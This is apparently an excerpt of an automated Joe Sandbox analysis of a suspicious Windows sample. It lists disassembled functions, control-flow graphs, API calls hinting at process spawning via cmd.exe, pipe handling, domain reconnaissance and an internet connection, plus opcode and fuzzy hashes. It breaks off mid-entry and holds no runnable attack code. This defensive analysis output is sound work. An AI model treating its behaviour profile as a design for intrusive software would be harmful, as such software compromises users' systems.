                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                  • String ID: H
                                  • API String ID: 4237864984-2852464175
                                  • Opcode ID: 0101191b1bcc0b240df0f8b378a0435cf3ec97e112ad6c1200b619bf04093639
                                  • Instruction ID: 4c534b4408b3ced7ed2e9c83e2d3d015b0544ed6c25fedb8e2a384fbfe5b78ed
                                  • Opcode Fuzzy Hash: 0101191b1bcc0b240df0f8b378a0435cf3ec97e112ad6c1200b619bf04093639
                                  • Instruction Fuzzy Hash: BCA12432B042458FDF19DFB8DC92BAE7BF1AB06320F14415DE8159F2A1DB359912CB91
                                  Function 00A876C2 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 212COMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 7172 a876c2-a876d0 7173 a876ea-a876ed 7172->7173 7174 a876d2-a876e5 call a759b3 call a75122 7172->7174 7173->7174 7176 a876ef-a876f4 7173->7176 7184 a878cb-a878cf 7174->7184 7176->7174 7177 a876f6-a876fa 7176->7177 7177->7174 7179 a876fc-a876ff 7177->7179 7179->7174 7181 a87701-a87727 call a94d80 * 2 7179->7181 7188 a877b8-a877ba 7181->7188 7189 a8772d-a8772f 7181->7189 7192 a877bc-a877be 7188->7192 7193 a877c0 7188->7193 7190 a877c2-a877d6 call a94d80 7189->7190 7191 a87735-a87741 call a94d80 7189->7191 7198 a877d8-a877e3 call a86e62 7190->7198 7199 a87802 7190->7199 7191->7190 7200 a87743-a87745 7191->7200 7192->7190 7192->7193 7193->7190 7207 a877e9-a877f3 call a878dd 7198->7207 7208 a87896-a87899 7198->7208 7202 a87805-a8780a 7199->7202 7203 a87748-a8774d 7200->7203 7202->7202 7205 a8780c-a87822 call a84d09 7202->7205 7203->7203 7206 a8774f-a87768 call a84d09 7203->7206 7219 a8782c-a8783d call a821c2 7205->7219 7220 a87824-a87827 7205->7220 7215 a87778-a8778b call a821c2 7206->7215 7216 a8776a-a87773 call a84d66 7206->7216 7217 a877f8-a877fd 7207->7217 7213 a878c0-a878c6 call a84d66 7208->7213 7230 a878c8-a878ca 7213->7230 7233 a878d0 7215->7233 7234 a87791-a877a0 call a86be9 7215->7234 7216->7230 7217->7213 7231 a878d2-a878dc call a7514f 7219->7231 7232 a87843-a8785d call a759b3 7219->7232 7224 a878b9-a878bf call a84d66 7220->7224 7224->7213 7230->7184 7242 a87860-a8787d call a821c2 call a86e62 7232->7242 7233->7231 7234->7233 7243 a877a6-a877b6 call a84d66 7234->7243 7251 a8789b-a878b7 call a759b3 call a878dd 7242->7251 7252 a8787f-a8788d 7242->7252 7243->7190 7251->7224 7252->7242 7254 a8788f-a87895 call a84d66 7252->7254 7254->7208
                                  APIs
                                  • _strrchr.LIBCMT ref: 00A87706
                                  • _strrchr.LIBCMT ref: 00A87711
                                  • _strrchr.LIBCMT ref: 00A87738
                                  • _free.LIBCMT ref: 00A8776B
                                    • Part of subcall function 00A7514F: IsProcessorFeaturePresent.KERNEL32(00000017,00A75121,?,?,009C1F07,?,?,00000016,?,?,00A7512E,00000000,00000000,00000000,00000000,00000000), ref: 00A75151
                                    • Part of subcall function 00A7514F: GetCurrentProcess.KERNEL32(C0000417,?,?,?), ref: 00A75173
                                    • Part of subcall function 00A7514F: TerminateProcess.KERNEL32(00000000), ref: 00A7517A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _strrchr$Process$CurrentFeaturePresentProcessorTerminate_free
                                  • String ID: .com
                                  • API String ID: 1283974128-4200470757
                                  • Opcode ID: c491167409fa4261a8fe6f34840a9f3ccfdb00133694b24eec3e4601d11d329a
                                  • Instruction ID: 778ec757a38a09342ce64f21e84723c2b599380335775114c5739329e6c22943
                                  • Opcode Fuzzy Hash: c491167409fa4261a8fe6f34840a9f3ccfdb00133694b24eec3e4601d11d329a
                                  • Instruction Fuzzy Hash: C451C336A08605AEEF15BFB49D46A7E3BA8EF45720F304169F81497281EB71CE40D7A0
                                  Function 00A86EB7 Relevance: 7.7, APIs: 5, Instructions: 198pipeCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 8157 a86eb7-a86ecf call a51b70 8160 a86ed1-a86ee9 call a759a0 call a759b3 call a75122 8157->8160 8161 a86ef2-a86f0b 8157->8161 8185 a86eec-a86ef1 call a51bb6 8160->8185 8162 a86f29-a86f3b 8161->8162 8163 a86f0d-a86f20 call a759a0 call a759b3 call a75122 8161->8163 8162->8163 8167 a86f3d-a86f6d CreatePipe 8162->8167 8180 a86f25-a86f27 8163->8180 8170 a86f7e-a86f8a call a8cc7e 8167->8170 8171 a86f6f-a86f7c GetLastError call a7597d 8167->8171 8181 a86f8c-a86fb0 call a759b3 call a759a0 CloseHandle * 2 8170->8181 8182 a86fb5-a86ffe call a87023 call a8cc7e 8170->8182 8171->8180 8180->8185 8181->8180 8196 a8702b-a87080 call a87133 call a8046e 8182->8196 8197 a87000-a87016 8182->8197 8202 a8713b-a8715c call a7514f call a51b70 8196->8202 8203 a87086-a87090 8196->8203 8197->8181 8217 a8716e-a87174 8202->8217 8218 a8715e-a87169 call a759b3 8202->8218 8204 a8709f-a870cc 8203->8204 8205 a87092-a87098 8203->8205 8209 a870d1-a870d3 8204->8209 8208 a8709a-a8709d 8205->8208 8205->8209 8208->8204 8208->8209 8211 a870d5-a87102 8209->8211 8212 a87107-a87126 call a8cbc7 * 2 8209->8212 8211->8212 8212->8185 8221 a87186-a87188 8217->8221 8222 a87176-a87181 call a759b3 8217->8222 8228 a87231 call a75122 8218->8228 8226 a8718e-a87194 8221->8226 8227 a87226-a8722b call a759b3 8221->8227 8233 a87236 8222->8233 8226->8227 8231 a8719a-a871b6 8226->8231 8227->8228 8228->8233 8231->8227 8235 a871b8-a871d2 call a84680 8231->8235 8236 a87238-a8723d call a51bb6 8233->8236 8235->8233 8240 a871d4-a871e3 call a84523 8235->8240 8244 a871f2-a8721a call a8721c 8240->8244 8245 a871e5-a871f0 call a759b3 8240->8245 8244->8236 8245->8233
                                  APIs
                                  • CreatePipe.KERNEL32(?,?,0000000C,?,?,?,?,?,?,?,?,00ADCEE8,00000028,00A7478F,?,00000400), ref: 00A86F65
                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,00ADCEE8,00000028,00A7478F,?,00000400,00000080,00ADCAE8,00000028), ref: 00A86F6F
                                  • __dosmaperr.LIBCMT ref: 00A86F76
                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00ADCEE8,00000028,00A7478F,?,00000400,00000080,00ADCAE8,00000028), ref: 00A86FA1
                                  • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00ADCEE8,00000028,00A7478F,?,00000400,00000080,00ADCAE8,00000028), ref: 00A86FAA
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CloseHandle$CreateErrorLastPipe__dosmaperr
                                  • String ID:
                                  • API String ID: 155357802-0
                                  • Opcode ID: b1fc37d4ce22c8f5e00cd4d5b1c9534aee559654dbac0640d0f309e12dc6fdeb
                                  • Instruction ID: b265a6aa35413775559e699f185f0e51da5bdbffba04ce88869512cf5204d9e0
                                  • Opcode Fuzzy Hash: b1fc37d4ce22c8f5e00cd4d5b1c9534aee559654dbac0640d0f309e12dc6fdeb
                                  • Instruction Fuzzy Hash: 96711771A102458BDB01FFB8DD45A9E7BA2AF09324F288259F555CF2E2EB75DC02CB50
                                  Function 00A86C52 Relevance: 7.6, APIs: 5, Instructions: 64synchronizationCOMMON
                                  Download Yara Rule

                                  Control-flow Graph

                                  • Executed
                                  • Not Executed
                                  control_flow_graph 8250 a86c52-a86c63 8251 a86c65 8250->8251 8252 a86c67-a86c6c 8250->8252 8251->8252 8253 a86cdc-a86ce7 call a759b3 8252->8253 8254 a86c6e-a86c71 8252->8254 8263 a86ce9-a86cef 8253->8263 8254->8253 8255 a86c73-a86c7d WaitForSingleObject 8254->8255 8257 a86c9b-a86ca4 GetLastError 8255->8257 8258 a86c7f-a86c8c GetExitCodeProcess 8255->8258 8261 a86cbe-a86cc4 call a7597d 8257->8261 8262 a86ca6-a86cbc call a759b3 call a759a0 8257->8262 8258->8257 8260 a86c8e-a86c90 8258->8260 8265 a86c92-a86c95 8260->8265 8266 a86c97-a86c99 8260->8266 8271 a86cc5-a86cc7 8261->8271 8262->8271 8265->8266 8269 a86ccd-a86ccf 8266->8269 8272 a86cd8-a86cda 8269->8272 8273 a86cd1-a86cd2 CloseHandle 8269->8273 8275 a86cc9 8271->8275 8276 a86ccb 8271->8276 8272->8263 8273->8272 8275->8276 8276->8269
                                  APIs
                                  • WaitForSingleObject.KERNEL32(00000010,00000000,00000000,00000000,00000000,?,?,00A74D8C,00000000,00000000,00000001,?,00ADCAC8,00000010,009C88E3,00000000), ref: 00A86C75
                                  • GetExitCodeProcess.KERNEL32(00000010,00000000), ref: 00A86C84
                                  • GetLastError.KERNEL32(?,?,00A74D8C,00000000,00000000,00000001,?,00ADCAC8,00000010,009C88E3,00000000), ref: 00A86C9B
                                  • __dosmaperr.LIBCMT ref: 00A86CBF
                                  • CloseHandle.KERNEL32(00000010,?,?,00A74D8C,00000000,00000000,00000001,?,00ADCAC8,00000010,009C88E3,00000000), ref: 00A86CD2
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CloseCodeErrorExitHandleLastObjectProcessSingleWait__dosmaperr
                                  • String ID:
                                  • API String ID: 2013101682-0
                                  • Opcode ID: 0688c294657e02ab1f2bb212784b85e4225599f3c004185cd195ca30d5be77c7
                                  • Instruction ID: 66ca76aa6b6251c1a83d85ba48ae1faf51ba34dba7e40126802fe40448367dfc
                                  • Opcode Fuzzy Hash: 0688c294657e02ab1f2bb212784b85e4225599f3c004185cd195ca30d5be77c7
                                  • Instruction Fuzzy Hash: 0A110CF2500615AFE7107FA9CD8466ABB69EF86330B254218F99987290DB719D01C7A1
                                  Function 009D38C0 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 399COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetComputerNameExW.KERNEL32(00000000,?,?,215D2A08,?), ref: 009D3941
                                  • DsRoleGetPrimaryDomainInformation.NETAPI32(00000000,00000001,?,?,00000000,?,?,?), ref: 009D39E0
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ComputerDomainInformationNamePrimaryRole
                                  • String ID: Empty$_D:
                                  • API String ID: 1590873629-2874341529
                                  • Opcode ID: 973ceea823fc0aceed9e7c1f687cb20f8ba0121545de5eeb7bc8621dff250967
                                  • Instruction ID: da5aec672635ef5248196cf4a5c55bac4907151d2436a996555901204c24bc16
                                  • Opcode Fuzzy Hash: 973ceea823fc0aceed9e7c1f687cb20f8ba0121545de5eeb7bc8621dff250967
                                  • Instruction Fuzzy Hash: 4FF1BD719102598BEB28DB24CD85BAEB7B6BF80301F14C2D9D089A7291DF759BC4CF91
                                  Function 00A4CA40 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 158COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetLastError.KERNEL32(215D2A08,?,00000000,?), ref: 00A4CA77
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A4CB5B
                                  • GetFileAttributesW.KERNEL32(?,215D2A08,?,?,?,?,?,?,?,00A9FCD0,000000FF,?,009C4A32), ref: 00A4CBB2
                                  Strings
                                  • boost::filesystem::status, xrefs: 00A4CB0D
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: AttributesErrorException@8FileLastThrow
                                  • String ID: boost::filesystem::status
                                  • API String ID: 1873943377-3746320807
                                  • Opcode ID: a1e5756f5492efccf31b51d6d36f9a381374dea351ca45a3d041042e814435a7
                                  • Instruction ID: 835175a693d1a87cfd74557372f83a156b57b57270250a065dae606636f6baf1
                                  • Opcode Fuzzy Hash: a1e5756f5492efccf31b51d6d36f9a381374dea351ca45a3d041042e814435a7
                                  • Instruction Fuzzy Hash: 2341B676E0120CABCB50DF98C885BAEB7B5FB45364F14423AEC1AA7280D7749D04CB90
                                  Function 00A4CB70 Relevance: 6.1, APIs: 4, Instructions: 139fileCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetFileAttributesW.KERNEL32(?,215D2A08,?,?,?,?,?,?,?,00A9FCD0,000000FF,?,009C4A32), ref: 00A4CBB2
                                  • CreateFileW.KERNEL32(?,00000000,00000007,00000000,00000003,02000000,00000000,?,?,?,?,?,?,?,?,00A9FCD0), ref: 00A4CC4D
                                    • Part of subcall function 00A4C860: CreateFileW.KERNEL32(00A4CC7E,00000008,00000007,00000000,00000003,02200000,00000000,215D2A08,?,00000000,?,00A4CC7E,?), ref: 00A4C8A3
                                    • Part of subcall function 00A4C860: CloseHandle.KERNEL32(00000000), ref: 00A4C924
                                  • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00A9FCD0), ref: 00A4CC99
                                  • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,00A9FCD0), ref: 00A4CCA9
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CloseFileHandle$Create$Attributes
                                  • String ID:
                                  • API String ID: 2696689969-0
                                  • Opcode ID: 019f24a9db2e86f340e5abe77d16f937d98832536bfef61c21629f1f7e86bf56
                                  • Instruction ID: a661673530829eea9cfbb39ca0802a1e9377adfad00df891454165a833d9f152
                                  • Opcode Fuzzy Hash: 019f24a9db2e86f340e5abe77d16f937d98832536bfef61c21629f1f7e86bf56
                                  • Instruction Fuzzy Hash: BA51B275E01218EFDB40DFA8DD85BAEBBB4EF49724F104129E919B7381D7709904CBA0
                                  Function 009D6330 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172networkCOMMON
                                  Download Yara Rule
                                  APIs
                                  • InternetConnectW.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 009D63F4
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ConnectInternet
                                  • String ID: 0.0.0.1$`
                                  • API String ID: 3050416762-3652615328
                                  • Opcode ID: 966a1bd60ab2e24afe1df86b80e1c9d7304e8973ccc0731bc79673942c47e9af
                                  • Instruction ID: 6ffc8e0af7dc46cfe27a4e0cbedd0207b7395158778c8a6f7cfad7be551b3879
                                  • Opcode Fuzzy Hash: 966a1bd60ab2e24afe1df86b80e1c9d7304e8973ccc0731bc79673942c47e9af
                                  • Instruction Fuzzy Hash: 1D51C370A501199BDF14DF28CD85B9DB7B6EF84304F90819AF509A7392D774AA88CF48
                                  Function 00A75182 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101COMMON
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free
                                  • String ID: COMSPEC$cmd.exe
                                  • API String ID: 269201875-2256226045
                                  • Opcode ID: d26b2c83267c2c439d146f8b20af64babf1b4322b4d9b9da62da40062a4c675e
                                  • Instruction ID: ac965d70bb6aca5fef798d8bf30637e9a361912eb62e8e1f66272d7921ce6806
                                  • Opcode Fuzzy Hash: d26b2c83267c2c439d146f8b20af64babf1b4322b4d9b9da62da40062a4c675e
                                  • Instruction Fuzzy Hash: CD31A971D015199B9B10EFB4CD429AFBBB8EF42321B11C666F909A7251DBB04E01CBE1
                                  Function 009D45EB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                  Download Yara Rule
                                  APIs
                                  • NetApiBufferFree.NETAPI32(00000000), ref: 009D4606
                                  • NetApiBufferFree.NETAPI32(00000000), ref: 009D4622
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: BufferFree
                                  • String ID: Default
                                  • API String ID: 710964542-753088835
                                  • Opcode ID: ff1e1365c66733cd64061dae9eefb5e051d06ab860dc473ad4facc3e05828bb6
                                  • Instruction ID: 7716e1e8d65f310a715534fdfb400513a5ad992a0051ad755c5003076087f4cb
                                  • Opcode Fuzzy Hash: ff1e1365c66733cd64061dae9eefb5e051d06ab860dc473ad4facc3e05828bb6
                                  • Instruction Fuzzy Hash: F5F0AF31A052099BCF18DF94D491BADB7B5EB49321F50822FD80663380DB35A9008B90
                                  Function 00A85628 Relevance: 4.7, APIs: 3, Instructions: 186COMMONLIBRARYCODE
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 321ee0ab088a9924cc8961b4369515a2f5d0051a3cb3075f68ad6caf1fcee8aa
                                  • Instruction ID: 3086c2e75d760c355f87fbe775eed49cc839b7225ccd078aac521679ee195efe
                                  • Opcode Fuzzy Hash: 321ee0ab088a9924cc8961b4369515a2f5d0051a3cb3075f68ad6caf1fcee8aa
                                  • Instruction Fuzzy Hash: DD51BC71E00A0AEBDB10FFB4C945FAF7BB8AF05320F54855AE815A7292D7709901DBA1
                                  Function 00A8595D Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • CloseHandle.KERNEL32(00000000,00000000,00A38F4C,?,00A8587B,00A38F4C,00ADCE88,0000000C), ref: 00A859B3
                                  • GetLastError.KERNEL32(?,00A8587B,00A38F4C,00ADCE88,0000000C), ref: 00A859BD
                                  • __dosmaperr.LIBCMT ref: 00A859E8
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CloseErrorHandleLast__dosmaperr
                                  • String ID:
                                  • API String ID: 2583163307-0
                                  • Opcode ID: af115478a7dd441e1f00de3cb53eb6418319faac929b8e0538d4f5e28b84a4fd
                                  • Instruction ID: 3d54d49110098e46ae87393b35cd3274a05dda204307dc2d6643b8c8847df285
                                  • Opcode Fuzzy Hash: af115478a7dd441e1f00de3cb53eb6418319faac929b8e0538d4f5e28b84a4fd
                                  • Instruction Fuzzy Hash: 9C012633E04A509AD62577B4A98577F775A8B82734F29061AFC188B1D1EA708C828760
                                  Function 00A88F5D Relevance: 4.6, APIs: 3, Instructions: 50COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • SetFilePointerEx.KERNEL32(00000000,00000000,00A38F76,00000000,00000002,00A38F76,00000000,?,?,?,00A8900C,00000000,00000000,00A38F76,00000002), ref: 00A88F96
